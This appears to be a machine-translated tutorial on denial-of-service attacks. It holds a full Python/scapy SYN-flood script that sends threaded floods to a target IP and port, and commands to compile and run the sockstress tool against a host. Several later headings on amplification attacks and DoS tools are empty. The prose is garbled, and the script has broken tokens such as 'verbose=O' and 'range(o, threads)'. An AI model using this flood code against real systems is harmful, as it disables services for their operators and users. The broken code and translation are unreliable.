Task: denial of service DOS

Denial of service DoS principle

Denial of service DoS, It is the use of program vulnerabilities or one-to-one resource exhaustion Denial of Service Denial of service .

but DoS It's a one-on-one attack , Completely fight their own resources , The result is bad .

Distributed denial of service DDos, It's a many to one attack , Pool resources , The emphasis is on large quantity .

The process of normal users accessing web pages ：

• User sends request （SYN package ）
• The web server accepts the request , return （SYN-ACK package ）
• The user sends again （ACK package ）, The service connection between users and websites

 

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Syn-Flood Flood attack 、IP Address spoofing

Syn-Flood Flood attack principle ： The number of customers served by the website server is limited （TCP maximum connection , Not a server CPU And memory ）, We use a large number of computers we control to occupy web server resources （ Keep asking , flow like water ）, Then other users visit this website , There will be no reception resources （ Apply for services , Website Service denied ）.

 

syn_flood.py Script ：

# _*_ coding: utf-8 _*_
#  Set encoding , Support for Chinese characters 

from scapy.all import *
#  Import packages that manipulate messages and interact with websites , It can realize the contracting operation of flood attack 
from time import sleep
import random
import thread
#  Import thread package 
import logging
#  Import log package 
Logging.getLogger('scapy.runtime').setLevel(logging.ERROR)

#  Input prompt for users , Ensure the input format 
if len(sys.argv)!= 4:
	print " usage ：./syn_flood.py [IP Address ] [ port ] [ Number of threads ]"
	print " give an example ：./syn_flood.py 1.1.1.1 80 20"
	sys.exit（）
	
target = str(sys.argv[1])  #  Destination address 
port = int(sys.argv[2])    #  port 
threads = int(sys.argv[3]) #  Number of threads , Multithreading implements a large number of attacks 

print " Being implemented  SYN flood  attack , Press  Ctrl＋C  Stop attack ."

def synflood(target, port):
	while 1:
		x = random.randint(0, 65535)
		#  Choose a port at random , As a source port 
		send( IP(dst=target) / TCP(dport=port, sport=x), verbose=O )
		#  Send a request , Occupy the target server TCP The number of connections 
		
for x in range(o, threads):  
#  from  0  To   Number of threads 
	thread.start_new_thread( synflood, (target, port) )
	#  At the end of the goal ip And port , Type out all threads 

 

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Smurf attack 、Sockstress

# Python  Call the attack script 
./sockstress.py 1.1.1.1 21 200

// C  Call the attack script 
 Download tool ：https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 1.1.1.1:80 eth0
./sockstress 1.1.1.1:80 eth0 -p payloads/http

 

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TearDrop

 

DNS Enlarge the attack

 

SNMP Enlarge the attack

 

NTP Enlarge the attack

 

application layer Dos

 

Denial of service attack tools -RUDY、Hping3、LAND attack 、Siege

 

Denial of service attack tools -NMAP、 Anonymous denial of service toolkit （ Posted by anonymous DoS Tools ）、 Other denial of service tools -XOIC、HULK、DDOSIM、GoldenEye